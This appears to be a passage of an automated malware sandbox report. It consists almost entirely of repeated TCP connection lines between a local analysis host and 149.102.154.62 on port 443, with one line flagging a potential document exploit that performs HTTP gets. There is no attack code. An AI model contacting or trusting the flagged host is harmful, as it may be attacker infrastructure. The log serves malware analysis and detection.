Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49172
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
